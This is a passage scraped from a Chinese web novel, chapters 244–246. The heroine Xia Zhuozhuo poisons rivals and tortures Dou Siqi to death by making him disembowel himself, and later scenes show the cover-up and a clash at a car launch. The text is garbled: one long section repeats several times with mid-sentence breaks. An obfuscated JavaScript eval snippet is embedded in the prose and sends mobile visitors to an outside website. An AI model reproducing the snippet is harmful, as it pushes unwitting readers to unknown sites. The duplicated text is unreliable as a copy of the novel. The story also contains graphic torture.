她也是人,是人就会犯错,但她有个优点:吃一堑长一智。 夏灼灼慢慢走近窦斯齐。 旁边的男人,想说点什么,可突然喷出了一口黑血,很快栽倒在地。 夏灼灼没看他,只看着窦斯齐。 “你设计害我几次,有一次还差点牵连一个十岁的小孩子。所以我现在动手杀你,你死的不冤。但我可以给你一个恩典,你说说看,你跟那栋科技大楼有什么牵扯?你想做什么?只要你说了……” 她戴着防毒面罩,吐字有些不清,但窦斯齐把每一个字都听清楚了。 他感觉他的五感在无限放大。 夏灼灼的声音,仿佛在耳边。 “你会放过我?”他问。 “不。”夏灼灼轻轻摇头:“我会让你死的轻松一点。” 窦斯齐的双眸迸射出怒火。 “我不会告诉你!” 夏灼灼挑了挑眉,说:“既然如此,那你别怪我。” 她说着,拿出随身携带的一个小瓷瓶。 她从里面拿出一颗药丸,塞进了窦斯齐的嘴巴里。 然后手下一个用力,掰着他的下颚,直接帮助药丸吞下去。 窦斯齐想吐出来,但根本吐不出来。 “别怕。”夏灼灼说:“这是好药,保命的药,会让你一时半会儿死不了。” 早点聊完正事,早点散。” “是。”那人应了声,请窦斯齐进门。 窦斯齐踏进去两步,突然感觉不对劲。 空气中弥漫着一股浓重的血腥味! “发生什……” 话还没说完,身侧的古武堂的人突然朝他狠狠捅过来一把刀子。 他腹部一阵剧痛,眼睛倏然瞪大。 可饶是如此,他也没直接倒下,而是死死掐住了那人的脖子。 那人一脚踹向他的腹部。 房门被连带着关上,窦斯齐的后脑重重磕在房门上,整个人滑落在地。 却仍有意识。 “为、为什么……” 那人深深看了窦斯齐一眼,转而朝卫生间里喊:“夏小姐,我按照你说的做了,你快给我们解药!” 夏小姐?! 只见一道纤细的身影从卫生间里慢慢走出来。 她脸上戴着一副防毒面罩,遮住了大半张脸。 但窦斯齐,仍然是一眼就认出了她。 “夏、夏灼灼……” “是我。” 屋内的毒气,差不多已经散了。 但这样的事情,发生过类似的,那次一人闯古武堂,她因为吸食过多自己放的毒气,所以导致最后时刻体力不支。 如果不是司慎行及时赶到,她会死在那一天。 所以她没有摘下防毒面罩。 同样的错误,夏灼灼不会犯第二次。 她也是人,是人就会犯错,但她有个优点:吃一堑长一智。 夏灼灼慢慢走近窦斯齐。 旁边的男人,想说点什么,可突然喷出了一口黑血,很快栽倒在地。 夏灼灼没看他,只看着窦斯齐。 “你设计害我几次,有一次还差点牵连一个十岁的小孩子。所以我现在动手杀你,你死的不冤。但我可以给你一个恩典,你说说看,你跟那栋科技大楼有什么牵扯?你想做什么?只要你说了……” 她戴着防毒面罩,吐字有些不清,但窦斯齐把每一个字都听清楚了。 他感觉他的五感在无限放大。 夏灼灼的声音,仿佛在耳边。 “你会放过我?”他问。 “不。”夏灼灼轻轻摇头:“我会让你死的轻松一点。” 窦斯齐的双眸迸射出怒火。 “我不会告诉你!” 夏灼灼挑了挑眉,说:“既然如此,那你别怪我。” 她说着,拿出随身携带的一个小瓷瓶。 她从里面拿出一颗药丸,塞进了窦斯齐的嘴巴里。 然后手下一个用力,掰着他的下颚,直接帮助药丸吞下去。 窦斯齐想吐出来,但根本吐不出来。 “别怕。”夏灼灼说:“这是好药,保命的药,会让你一时半会儿死不了。” 早点聊完正事,早点散。” “是。”那人应了声,请窦斯齐进门。 窦斯齐踏进去两步,突然感觉不对劲。 空气中弥漫着一股浓重的血腥味! “发生什……” 话还没说完,身侧的古武堂的人突然朝他狠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15498439|165743||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠捅过来一把刀子。 他腹部一阵剧痛,眼睛倏然瞪大。 可饶是如此,他也没直接倒下,而是死死掐住了那人的脖子。 那人一脚踹向他的腹部。 房门被连带着关上,窦斯齐的后脑重重磕在房门上,整个人滑落在地。 却仍有意识。 “为、为什么……” 那人深深看了窦斯齐一眼,转而朝卫生间里喊:“夏小姐,我按照你说的做了,你快给我们解药!” 夏小姐?! 只见一道纤细的身影从卫生间里慢慢走出来。 她脸上戴着一副防毒面罩,遮住了大半张脸。 但窦斯齐,仍然是一眼就认出了她。 “夏、夏灼灼……” “是我。” 屋内的毒气,差不多已经散了。 但这样的事情,发生过类似的,那次一人闯古武堂,她因为吸食过多自己放的毒气,所以导致最后时刻体力不支。 如果不是司慎行及时赶到,她会死在那一天。 所以她没有摘下防毒面罩。 同样的错误,夏灼灼不会犯第二次。 她也是人,是人就会犯错,但她有个优点:吃一堑长一智。 夏灼灼慢慢走近窦斯齐。 旁边的男人,想说点什么,可突然喷出了一口黑血,很快栽倒在地。 夏灼灼没看他,只看着窦斯齐。 “你设计害我几次,有一次还差点牵连一个十岁的小孩子。所以我现在动手杀你,你死的不冤。但我可以给你一个恩典,你说说看,你跟那栋科技大楼有什么牵扯?你想做什么?只要你说了……” 她戴着防毒面罩,吐字有些不清,但窦斯齐把每一个字都听清楚了。 他感觉他的五感在无限放大。 夏灼灼的声音,仿佛在耳边。 “你会放过我?”他问。 “不。”夏灼灼轻轻摇头:“我会让你死的轻松一点。” 窦斯齐的双眸迸射出怒火。 “我不会告诉你!” 夏灼灼挑了挑眉,说:“既然如此,那你别怪我。” 她说着,拿出随身携带的一个小瓷瓶。 她从里面拿出一颗药丸,塞进了窦斯齐的嘴巴里。 然后手下一个用力,掰着他的下颚,直接帮助药丸吞下去。 窦斯齐想吐出来,但根本吐不出来。 “别怕。”夏灼灼说:“这是好药,保命的药,会让你一时半会儿死不了。” 早点聊完正事,早点散。” “是。”那人应了声,请窦斯齐进门。 窦斯齐踏进去两步,突然感觉不对劲。 空气中弥漫着一股浓重的血腥味! “发生什……” 话还没说完,身侧的古武堂的人突然朝他狠狠捅过来一把刀子。 他腹部一阵剧痛,眼睛倏然瞪大。 可饶是如此,他也没直接倒下,而是死死掐住了那人的脖子。 那人一脚踹向他的腹部。 房门被连带着关上,窦斯齐的后脑重重磕在房门上,整个人滑落在地。 却仍有意识。 “为、为什么……” 那人深深看了窦斯齐一眼,转而朝卫生间里喊:“夏小姐,我按照你说的做了,你快给我们解药!” 夏小姐?! 只见一道纤细的身影从卫生间里慢慢走出来。 她脸上戴着一副防毒面罩,遮住了大半张脸。 但窦斯齐,仍然是一眼就认出了她。 “夏、夏灼灼……” “是我。” 屋内的毒气,差不多已经散了。 但这样的事情,发生过类似的,那次一人闯古武堂,她因为吸食过多自己放的毒气,所以导致最后时刻体力不支。 如果不是司慎行及时赶到,她会死在那一天。 所以她没有摘下防毒面罩。 同样的错误,夏灼灼不会犯第二次。 她也是人,是人就会犯错,但她有个优点:吃一堑长一智。 夏灼灼慢慢走近窦斯齐。 旁边的男人,想说点什么,可突然喷出了一口黑血,很快栽倒在地。 夏灼灼没看他,只看着窦斯齐。 “你设计害我几次,有一次还差点牵连一个十岁的小孩子。所以我现在动手杀你,你死的不冤。但我可以给你一个恩典,你说说看,你跟那栋科技大楼有什么牵扯?你想做什么?只要你说了……” 她戴着防毒面罩,吐字有些不清,但窦斯齐把每一个字都听清楚了。 他感觉他的五感在无限放大。 夏灼灼的声音,仿佛在耳边。 “你会放过我?”他问。 “不。”夏灼灼轻轻摇头:“我会让你死的轻松一点。” 窦斯齐的双眸迸射出怒火。 “我不会告诉你!” 夏灼灼挑了挑眉,说:“既然如此,那你别怪我。” 她说着,拿出随身携带的一个小瓷瓶。 她从里面拿出一颗药丸,塞进了窦斯齐的嘴巴里。 然后手下一个用力,掰着他的下颚,直接帮助药丸吞下去。 窦斯齐想吐出来,但根本吐不出来。 “别怕。”夏灼灼说:“这是好药,保命的药,会让你一时半会儿死不了。” 早点聊完正事,早点散。” “是。”那人应了声,请窦斯齐进门。 窦斯齐踏进去两步,突然感觉不对劲。 空气中弥漫着一股浓重的血腥味! “发生什……” 话还没说完,身侧的古武堂的人突然朝他狠狠捅过来一把刀子。 他腹部一阵剧痛,眼睛倏然瞪大。 可饶是如此,他也没直接倒下,而是死死掐住了那人的脖子。 那人一脚踹向他的腹部。 房门被连带着关上,窦斯齐的后脑重重磕在房门上,整个人滑落在地。 却仍有意识。 “为、为什么……” 那人深深看了窦斯齐一眼,转而朝卫生间里喊:“夏小姐,我按照你说的做了,你快给我们解药!” 夏小姐?! 只见一道纤细的身影从卫生间里慢慢走出来。 她脸上戴着一副防毒面罩,遮住了大半张脸。 但窦斯齐,仍然是一眼就认出了她。 “夏、夏灼灼……” “是我。” 屋内的毒气,差不多已经散了。 但这样的事情,发生过类似的,那次一人闯古武堂,她因为吸食过多自己放的毒气,所以导致最后时刻体力不支。 如果不是司慎行及时赶到,她会死在那一天。 所以她没有摘下防毒面罩。 同样的错误,夏灼灼不会犯第二次。 她也是人,是人就会犯错,但她有个优点:吃一堑长一智。 夏灼灼慢慢走近窦斯齐。 旁边的男人,想说点什么,可突然喷出了一口黑血,很快栽倒在地。 夏灼灼没看他,只看着窦斯齐。 “你设计害我几次,有一次还差点牵连一个十岁的小孩子。所以我现在动手杀你,你死的不冤。但我可以给你一个恩典,你说说看,你跟那栋科技大楼有什么牵扯?你想做什么?只要你说了……” 她戴着防毒面罩,吐字有些不清,但窦斯齐把每一个字都听清楚了。 他感觉他的五感在无限放大。 夏灼灼的声音,仿佛在耳边。 “你会放过我?”他问。 “不。”夏灼灼轻轻摇头:“我会让你死的轻松一点。” 窦斯齐的双眸迸射出怒火。 “我不会告诉你!” 夏灼灼挑了挑眉,说:“既然如此,那你别怪我。” 她说着,拿出随身携带的一个小瓷瓶。 她从里面拿出一颗药丸,塞进了窦斯齐的嘴巴里。 然后手下一个用力,掰着他的下颚,直接帮助药丸吞下去。 窦斯齐想吐出来,但根本吐不出来。 “别怕。”夏灼灼说:“这是好药,保命的药,会让你一时半会儿死不了。” 第244章 窦斯齐之死 “……” 窦斯齐死死盯着她,不知道她想干什么。 但他已经是半个死人了,夏灼灼没必要骗她。 只是,她为什么要给他吃这颗保命药? 她到底想干什么? 但不管夏灼灼想干什么,他的确感觉,身上的疼痛好像减轻了一点,也不知是不是错觉。 就在这时,夏灼灼又拿出一个小瓶子。 里面装着一些白色粉末。 她将里面的白色粉末,洒在了窦斯齐中刀的腹部伤口上。 一开始,窦斯齐还没什么感觉,但到了后面,伤口开始发痒。 是那种一万只蚂蚁在心口上爬,又有一只羽毛在不停地给他挠痒痒的那种痒。 “痒!” 太痒了! 痒的他撕心裂肺。 比中刀的时候更痛苦,更难受。 他甚至开始用手去抓自己中刀的伤口。 这让他感觉好很多,他于是越来越用力,丝毫没察觉到,他的胸口已经被他挖出了一个洞。 等他发现的时候,已经晚了。 他竟然自己给自己开膛破肚了! 因为他的肠子流了一地!! 按说,他原本应该马上昏厥过去的,但他没有,他的脑子,始终清醒着,甚至感觉不到疼痛,只是觉得痒。 而“抓痒”,会让这种痒减轻,所以他才挖到自己开膛破肚。 刚才窦斯齐还不懂,为什么夏灼灼说要让他死的不痛快,却给他吃保命的药。 现在他懂了。 看着自己的肠子流了一地,这种感觉,已经不能用任何言语来表达他的感受了。 窦斯齐疯了一般开始尖叫。 可外面的走廊,空空荡荡。 冯昭阳的到来,让这个酒店开始戒严。 而夏灼灼提前安排,让这一层楼不会有别的客人入住。 除了她让冯昭阳安排的下属夫妻。 故而,窦斯齐无论如何嚎叫,都不会有人听到。 “杀了我!你杀了我!” 窦斯齐大喊着。 夏灼灼站在原地纹丝不动。 “我说了,只要你说出我想知道的事,我就会让你死的轻松一点。你自己不要这个恩典。” “!!!”窦斯齐更崩溃了。 他很想直接杀了夏灼灼。 可他毫无力气。 他虽然没有疼痛感,可他也根本站不起来。 甚至连爬几步都做不到,他只能半躺着,后背依靠着门板,看着自己的肠子发疯。 “你至少还有两个小时才会死。”夏灼灼说:“这个药,会让你的血流的很慢。好好享受这最后两个小时,我会陪你的。” 她说话声音无比温柔,仿佛是在问他喝不喝粥。 窦斯齐浑身起鸡皮疙瘩。 这个女人,分明是恶魔! 从地狱里爬出来的恶魔。 而事实上,夏灼灼的确是从地狱里爬出来的。 她通过了一百个系统给的平行世界的任务,才回到这个华夏世界。 终于,窦斯齐还是扛不住自己的心理压力。 他心态崩了。 任何人,看到自己的肠子流一地,都会崩。 “我告诉你!” 夏灼灼点点头:“你说吧。” “那栋楼,是高科技大楼,所有设计都是AI智能控制,包括门窗……” 他仔仔细细,把自己的计划告诉了夏灼灼。 夏灼灼听了,沉默两秒,说:“窦斯齐,你配做我的对手。” “那你杀了我!给我一个痛快!” “既然如此,那我就给你一个痛快吧。” 窦斯齐闭上眼睛,心里竟是无比感激夏灼灼。 感激她杀了他! 多么荒谬! 可事实如此! 他想死,想立刻就死。 夏灼灼走上前,一把拔掉了窦斯齐腹部的匕首,然后塞到了那个中毒的人的手里。 她的手上戴着手套,故而不会留下质问。 鞋子上,也套了鞋套。 窦斯齐能感觉到她的动作,可做完这些,他依旧没有死。 他睁开眼睛,不解地看向夏灼灼。 夏灼灼眉眼弯弯,她在笑。 窦斯齐猛地意识到了什么,质问她:“你骗我!你不想让我死的痛快!” 夏灼灼点头。 “当然是骗你的。这药,本身就是救命的药,不是毒,怎么会有解药?好好享受接下来的时光吧,你可以好好回顾你短暂的一生。” 说完,夏灼灼扭头走了。 她是翻窗走的。 这里是三楼,可对她的身手来说,如履平地。 她一离开,就有两个人进来。 是田野和谷仔。 两个人是负责收拾残局的。 他们要把现场做得更完美一些,不能留下任何把柄。 同时,也要确保房间里那些古武堂的余孽都死透了。 这期间,窦斯齐就只能看着他们的一举一动,制止不了分毫。 他无数次求他们两个,给他一个痛快。 但田野和谷仔像是聋了一般,看都没看他一眼。 很快,他们两个也走了。 整个世界安静下来。 窦斯齐生命的最后一刻,是在想,如何杀了他自己。 …… 窦斯齐是在死后半个小时被发现的。 发现他的,正是那个一开始上楼来提醒他大堂被水淹了的服务生。 服务生提前告知过窦斯齐,两个小时后大堂的水就能全部排出。 现在水排出了,窦斯齐定的钟点房时间也到了。 他是来提醒他退房的。 可敲了半天门,里面毫无动静,他觉得奇怪,刷卡进去看,瞬间被吓得大叫。 警方的人很快包围了现场。 负责这个案子的,是被调到刑警队的丁警官。 很快他们得出结论,窦斯齐是被古武堂的人杀了的。 而且用的方式惨绝人寰:给他开膛破肚了。 而原因,是古武堂的人给窦斯齐下毒,却不小心让自己人都中了毒。 窦部长很快得知消息,说不可能。 不信窦斯齐是古武堂的人杀的。 可警方追问为何不信的原因,窦部长却说不出来。 他不能说。 不能说古武堂,是他的人。 他向警方索要证据,丁警官亲自整理,发邮件给他。 证据有很多,最项目的证据,是一段监控。 监控拍到了一部分。 是窦斯齐刚进门之后不到两秒,被古武堂的人捅了一刀。 再之后,房门就关上了。 这一段视频,足以证明,窦斯齐就是被那个古武堂的人杀死的。 窦部长看着证据,心里大骇,却仍旧不敢置信。 他叫专业人士分析视频,想知道,视频是否是合成的。 但分析出来的结果,是视频的确是真实的,没有一帧是合成的。 窦部长想再深查,可窦老先生制止了他。 “斯齐已经死了,你难道要连累我们全家吗?让人查下去,无非是告诉大家,古武堂是我们的人。你的当务之急,是撇清古武堂跟咱们的关系,不能让他们觉得这是内斗。得叫他们知道,这是古武堂凶杀,我们和斯齐都是无辜的受害者。” 窦部长死死咬着牙关,没有继续往下查了。 非但如此,他还得帮忙掩盖一些证据。 十一月一号,他痛失长子。 却又没有那么痛。 因为他还有一个儿子,窦斯礼。 而他原本也更疼爱这个小儿子。 “斯礼。”他打电话给窦斯礼,说:“你立刻坐飞机回来。” 窦斯礼这阵子交了一个好朋友,叫霍刚。 他喝了两天酒,压根还不知道自己的哥哥死了。 听到这话,他心里烦躁。 他又不是小孩子了,老叫他回家做什么? 不过窦斯礼明面上没说什么,只是说:“我尽量快点回来。” 他的新朋友,认识的好地方很多,很多地方他还没去玩过呢,他不能这么快回去。 “不是尽量快点,是立刻回来!” “行,我知道了。” 窦斯礼敷衍应了一句,挂断了电话。 窦部长那边忙得不行,挂了电话,又去忙其他事。 窦斯礼知道自己哥哥的死讯的时候,事情已经过去四天了。 是窦斯齐的心腹下属来找他,他才知道的。 心腹叫闻衢朝,他恨窦家那边不继续追查窦斯齐的死因,故而找上了窦斯礼。 而窦斯礼听闻消息之后,他的第一反应是,窦斯齐死了,谁帮他拿下夏灼灼? 哥哥的死,虽然震惊,但不那么重要,重要的是,他想得到的女人,谁帮他得到? 恰好在这时,闻衢朝说:“是夏灼灼!一定是她!大少爷一直在对付她!她肯定是查到了大少爷的身上,才狠下杀手!” 古武堂是他们自己的人,他们忠心耿耿,不可能内斗之下杀了大少爷。 所以,一定是夏灼灼! “大少爷早就说过,这个女人诡计多端,蛇蝎心肠!二少爷,先生不管这件事,您一定要管啊!” 窦斯礼才不想管。 可听说跟夏灼灼有关,他立刻来了精神。 “我要怎么做?才能帮大哥报仇,弄死那个女人?” 当然,弄死之前,他要好好逍遥一番。 闻衢朝跟他说了大少爷的计划。 不过隐瞒了一部分。 比如,让窦斯礼也死在那里。 他仍旧会让窦斯礼死在那里,因为他分明看出,二少爷对大少爷死亡消息的漠视。 他要完成大少爷的遗愿。 两个人商量了很久,打算把计划提前实施。 因为京都窦部长那边一直在催促窦斯礼回京,他不能在沪城停留太久。 “那就按照你说的,这么做吧!” 又说:“不过在死之前,我要跟她单独相处一个小时。没问题吧?” 闻衢朝微笑。 “当然没问题。” 窦斯礼满意了。 第245章 初见,凌悠然 窦斯齐和古武堂的人的死亡的消息,在几天后,也传到了远在海岛的夏怀武耳朵里。 他立刻打电话给了夏灼灼。 直觉告诉他,此事跟小七有关。 夏灼灼接通电话,知道他打电话的来意后,也不瞒着他。 “是我做的。” 关于古武堂的事情,她半个月前就在布局和等待。 施工队弄破水管,是她提前安排的,这样做,并不是要把窦斯齐困在楼上。 膝盖高的水,困不住窦斯齐。 她只是借用这点“意外”,让窦斯齐起疑心。 人一旦有了疑心,就会疑神疑鬼。 而窦斯齐,原本就是一个疑心很重的人,他必然会去隔壁,看发出动静的人是谁。 而她安排冯昭阳,在恰好的时间出现,名正言顺把窦斯齐带走。 这么一来,窦斯齐被支开,她就有机会往房间里放毒气。 弄这么复杂,其实只为了四个字:调虎离山。 但对付窦斯齐这样的人,只能用复杂的方法,做简单的事。 后来等到窦斯齐回来,古武堂的人,几乎都已经被毒道,她特意留了一个清醒的,威胁他杀了窦斯齐。 古武堂的人,的确对窦家很忠心,但更忠心的,是他们的老堂主。 夏灼灼用老堂主威胁那个人,在监控下,杀了窦斯齐。 再之后就很简单了,打扫现场,不留下他们自己的痕迹。 而那个服务生,也可以成为他们的证人。 在上楼提醒客人楼下进水的时候,窦斯齐的房间里有异响。 冯昭阳同样可以作证,证明窦斯齐举止怪异,且跟古武堂的人有来往。 因为涉及古武堂,窦部长那边不敢深查,此事只能不了了之。 甚至,窦部长还帮忙压消息,不能让此事继续扩大。 因为继续查,容易查到窦部长自己身上。 一个华夏高层,是不能跟古武堂这种民间帮派有牵扯的。 她说完经过,对夏怀武说:“古武堂一直是个隐患,而窦斯齐三番两次要害我,我不能留他在世上。” “我本来还担心他不会去新春酒店,没想到他真的去了。看来,我放出去的关于季远的烟雾弹起作用了。” 夏怀征听得心惊胆战。 “小七,你的胆子也太大了。万一你有个好歹,我们该怎么办?” 又说:“辛好,一切都很顺利。小七,我很为你自豪。我没替你做完的事情,你自己做到了。” 他担心她,却也佩服她的能力和勇气。 而不是像从前那样,不管是不是出于好心,开口就只有指责。 夏灼灼明显感觉到夏怀武的变化。 出去这一个多月,让他成长了一些。 “你那边呢?”夏灼灼问:“还顺利吗?” “有点棘手。这边多方势力盘旋,想彻底拿下来,至少还得半年时间。”夏怀武道:“不过你放心,我会尽全力不让你失望。” “失望不失望的……不是最重要的,重要的是保护好你自己的安全。有时间就打电话给妈报平安,她一直很担心你。” “好。” 夏灼灼又问了许姨的情况。 她把许姨安排到夏怀武的身边了,既可以让夏太太确信她是去旅游了,夏怀武又能照顾到许姨母子。 通话很快结束。 兄妹两个,虽然已经“破冰”,但到底没关系好到可以煲电话粥的程度。 对夏灼灼来说,其实随着时间的推移,当初对夏怀武的不悦已经彻底烟消云散了。 只是她也很清楚,他们之间,就算破冰,以后再见面也很难到她跟夏六他们的亲密程度。 但夏灼灼不会强求。 人与人之间就是这样,哪怕是家人,也分天生缘分深一些和浅一些。 她跟夏怀武,大概就属于缘分浅一些的。 夏灼灼挂了电话,依旧回暗部忙碌。 她问起谷仔,秋家的情况。 谷仔啼笑皆非:“老爷子一开始不相信,小雨又帮我扮上了女装,虽然没有人皮面具,容貌不一样,但老爷子一看就知道,那个秋雪,的确是我。” “然后呢?”夏灼灼问。 “老爷子震惊了很久,夸我是‘好孩子’,只是没提我们的婚事。只拿我当秋雨的朋友。不过,洛叔很看好我们。” 洛叔就是落九针。 秋雨跟她爸爸感情很淡,但跟落九针这个师父感情很深厚。 落九针赞成他们在一起,秋雨心里就好受很多。 夏灼灼拍拍他的肩,宽慰他说:“不用急,秋老先生现在不提,是碍于你的身份。等一切尘埃落定,咱们可以‘见光’了,他就能彻底接受你了。” 谷仔用力点头。 他相信,这一天不远了。 窦家失去了窦斯齐,就失去了一把利刃。 窦部长这个人,不如自己的长子聪慧,少了长子在旁边出谋划策,比少白季勇和孙峥跃的帮忙还损失惨重。 只是窦部长自己还没回过味来。 他并不十分看重自己的长子,所以过于轻视窦斯齐的作用了。 但很快,窦部长的短板就会显露出来。 党家人并不是吃素的,夏灼灼做这些事的事情,他们也一直在布局。 夏灼灼这边能接触到的,只是沪城这边的窦派人。 她没接触到的地方,党家也在一点一点蚕食他们。 如今,局势已经明显偏向党家了。 他们窦派,已经是强弩之末了。 但还有最后一个危机没有解除,那就是那栋科技大楼。 田野替她查到,大楼那边,仍然都是窦斯齐的手下在运营。 “他们没放弃。”田野说:“您得小心,不能松懈。” 夏灼灼点头,说:“放心,我一直记着呢,而且我已经从窦斯齐的嘴里弄清楚,他究竟想干什么了。” 田野一喜。 “那您是不是就可以避开凶险了?” 夏灼灼摇头。 “不避,为什么要避?我们知道他们的计划是什么了,现在占先机的人是我们。要避也该是他们避开。” “那您想做什么?” “让他们死在自己的圈套里。” 窦斯齐的死,并不能打击到窦部长,因为他心里根本不在乎这个儿子,甚至有点厌恶这个跟前任太太长得很像的长子。 他真正在乎和心爱的,是他的小儿子。 “窦斯礼没走,那就说明他也参与到科技大楼的计划里了。正好我们可以借力打力,把他们一网打尽。” 窦斯礼是个恶魔。 他害死了夏怀呈的女朋友。 现在,该是叫他偿命的时候了。 “只是……”夏灼灼笑的有些无奈地说:“我手上沾那么多的血,以后估计要下地狱了。” “怕什么?”田野说:“就算下地狱,也有我们陪你。” 夏灼灼的眼睛突然有点湿润。 她因为小时候被拐卖,吃了很多很多的苦。 但也正是因为这段经历,让她得到了原本可能不会得到的东西和朋友。 …… 晚上夏灼灼回到家,正好碰到下晚班回来的夏怀瑾。 这几个月上班,夏六成熟了不少。 也大概是他下巴上的胡渣,让他看起来多了一丝成熟男人的韵味。 “怎么变得这么憔悴?设计方面有难题?” “不是。”夏六回答她说:“车子马上就要面市了,这是最后一周,我们不敢放松。” 夏六不仅参与了车子设计,还参与了车子的内饰设计。 他这一次,主要迎合女性对车子的审美。 这遭到了内部很多人的反对。 是司慎行力保,他的设计方案才得以实施。 “下周就面市了?” “嗯,下周开新品发布会。”他说着,有些紧张地说:“我的设计,内部褒贬不一,我真不知道能不能吸引到人。” “放心,会大卖的。”夏灼灼安慰他说:“现在时代不同了,很多人家里的财政大权都在女主人身上。老公说要买不算,他老婆才是管钱包的人。” “女性市场的确是一个很大的市场。” 夏灼灼点头,说:“所以,你一定会成功的。苟富贵,勿相忘。” 夏六笑起来。 “当然!忘了谁也不能忘了你,你可是我的伯乐。” 当初,要不是未来之境那一场比赛,他现在恐怕还籍籍无名。 更不可能去S集团,发光发亮。 他怎么会忘了他伟大的“妹姐”呢? 她是他永远的姐! 兄妹两个俩了一个多小时,夏怀瑾的压力骤然消失,第二天又活力满满地放手去干了。 很快,新车发布会的日子到了。 夏灼灼也受邀入席。 司慎行作为发布会的讲师,在发布会正式开始前,一直在后台忙碌。 夏灼灼不想去打扰,就在观众席,跟夏怀瑾说话。 “给我看看,最终成品。” 她之前,只看过设计稿的初稿。 夏怀瑾却卖起了关子。 “没几分钟就开始了,很快你就能看到了。” “连我都瞒?” “这不是为了给你一个惊喜吗?” 兄妹两个插科打诨的时间,一道清冷的声音突然响起—— “你是灼灼吧?” 夏灼灼循声看过去,就看到一个留着齐耳短发的漂亮女人,穿着一件白色礼服,上下打量她。 夏灼灼已经认出了她的谁,但依旧不动声色地问:“我是夏灼灼,你是哪位?” “我叫凌悠然,你叫我悠然就好了。我是行哥哥的好朋友,很高兴见到你。” 女人伸出了她的手。 那只手白嫩细滑,肤若凝脂,涂了很鲜艳的红色指甲,指甲修的很尖细,看起来让人有点不太舒服。 第246章 把凌悠然赶出去 夏灼灼注意到凌悠然的指甲。 但伸手不打笑脸人。 对方先伸出手,她也就顺势跟对方握手。 但只是碰了一下,就立刻把手收了回来。 她感觉到,凌悠然想故意用力,用指甲抓她。 但被她避开了。 如此低劣的手段,凌悠然竟然也用? 她心下有些吃惊,觉得凌悠然可能不像她想的那么聪明理智。 她心里起了波澜,面色仍是很平静地说:“你好,我有听他提起过,说你是他学生时期的同学。” 凌悠然在她面前刻意用那么亲密的称呼,那么她就用“同学”回击。 果然,凌悠然的面颊抽了下。 “夏小姐还真是伶牙俐齿。” “我这人习惯了见人说人话,见鬼说鬼话。” 凌悠然的笑容彻底冷下来。 她懒得装了,面无表情地说:“阿行既然跟你分手了,你就该老老实实待在家里,少出现在他面前。今天是他重要的日子,我劝你还是早点离开,别妨碍他的心情。” 夏灼灼愣了下。 猛然想起,他们之前演戏给窦斯齐看,所以现在是分手状态。 现在窦斯齐死了,他们却还没来得及澄清。 也怪不得凌悠然在她面前装都不装一下。 在凌悠然眼里,她只是个被司慎行抛弃的可怜女人。 想到凌悠然在司董事长面前挑拨,夏灼灼也不装了。 “凌小姐,我以为你是个聪明人,没想到你也如此愚蠢。我能出现在这里,就说明司慎行允许我出现在这里。会影响她心情的人不是我,而是你。该离开这里的人,也是你,不是我。” “你——” 凌悠然正要发作,夏怀瑾挡在了夏灼灼面前。 “这位零小姐还是一小姐的,你再不离开,我就让保安把你丢出去!” 凌悠然瞪向夏怀瑾。 “我们说话,有你什么事?你是这里的工作人员?不想被炒鱿鱼,就立刻把她给我丢出去!” 夏怀瑾冷笑一声,正要说话,身后突然传来一道中气十足的男音。 “你连他是谁都不知道,怎么混进来的?” 三人同时侧目看过去。 来的不是别人,正是司慎行。 司慎行原本在后台核对上台要说的话,得知夏灼灼来了,立马放下手头的台本。 反正有PPT,不背台本,他也能讲得出来。 谁知道一出来,就看到这场景,他当即沉了脸。 凌悠然看到司慎行,非但不紧张,还很高兴。 她以为司慎行说的那句“你连ta是谁都不知道,怎么混进来的”,是对夏怀瑾和夏灼灼说的。 她迎上前几步,开口就对司慎行说:“这两个人不尊重我,赶紧赶走吧。” 夏灼灼看凌悠然这样愚蠢,心里很意外。 她以为凌悠然是个聪明人,才能在读书时期,成为司慎行的朋友。 现在想来,凌悠然不是聪明,而是出现的时机恰到好处。 她出现在了司慎行最需要朋友的时候。 而那个时候,司慎行也年轻,单纯,不需要费太多心思,就可以“拿下他”。 只听司慎行说:“不懂礼数的人,是该赶出去。” 凌悠然眼睛亮了亮。 有传闻到京都,说司慎行对夏灼灼假戏真做,动了真心。 她对此嗤之以鼻。 她“攻克”了司慎行那么多年,司慎行也只把她当朋友,哪有那么容易就对一个女人动心的? 还是一个从乡下回来的,曾被人养作童养媳的女人。 她根本不把这种传闻放在心里。 这次过来,也不是为了夏灼灼,而是来沪城找那位女神医。 有人说,女神医在京都,替杜家老先生治过病。 她这才赶到沪城。 又碰巧遇上司慎行的发布会,她就不请自来了。 她相信司慎行虽然只把她当朋友,但到底对她还有些不一样。 对司慎行来说,娶哪个女人都行,而她,占据优势,他不会排斥跟她的婚姻。 他们知根知底。 也因此,凌悠然从始至终都不曾把夏灼灼放在眼里,更不会觉得,司慎行那句话是对她说。 然而下一秒,只听司慎行漠声道:“怀瑾,你还愣着干什么?把人拖出去,不许她再进来!” 夏怀瑾眼睛亮晶晶的,当即应声,招呼旁边的一个男工作人员,抓住凌悠然的胳膊就要把人往外拖。 凌悠然狠狠吃了一惊。 “你们干什么?阿行!他们在干什么?快叫他们放开我!” 司慎行很不耐烦地对上凌悠然的视线。 “你听不懂人话吗?不懂礼数的人,就得赶出去。” 凌悠然这时候才反应过来,那句话竟是对着她说的! 她满眼的不敢置信。 “你说我?你要赶我走?为了她,你要赶我走?” “什么她她她的,她是我未婚妻,更是我心上人,你对她出言不逊,惹得她不高兴,当然要滚。还有,我并没有递给你请柬,你原本也没资格出现在这里。” 凌悠然感觉脑子轰隆隆的,仿佛有雷落在她头上。 “阿行,你疯了?我是悠然啊!你是不是喝多了?” 司慎行更加不耐烦。 “六哥,你动作有点慢。” 夏怀瑾当即用了力气,两个男人拖一个女人,虽然女人不配合,但敌不过他们的力气,很快被拖走了。 内场的人,均用一种吃惊的眼神看凌悠然。 凌悠然这辈子都没丢过这样的脸。 她面沉如水,也不挣扎了,说:“放开我!我自己能走!” 夏怀瑾也不想碰她,闻言立刻松开了手。 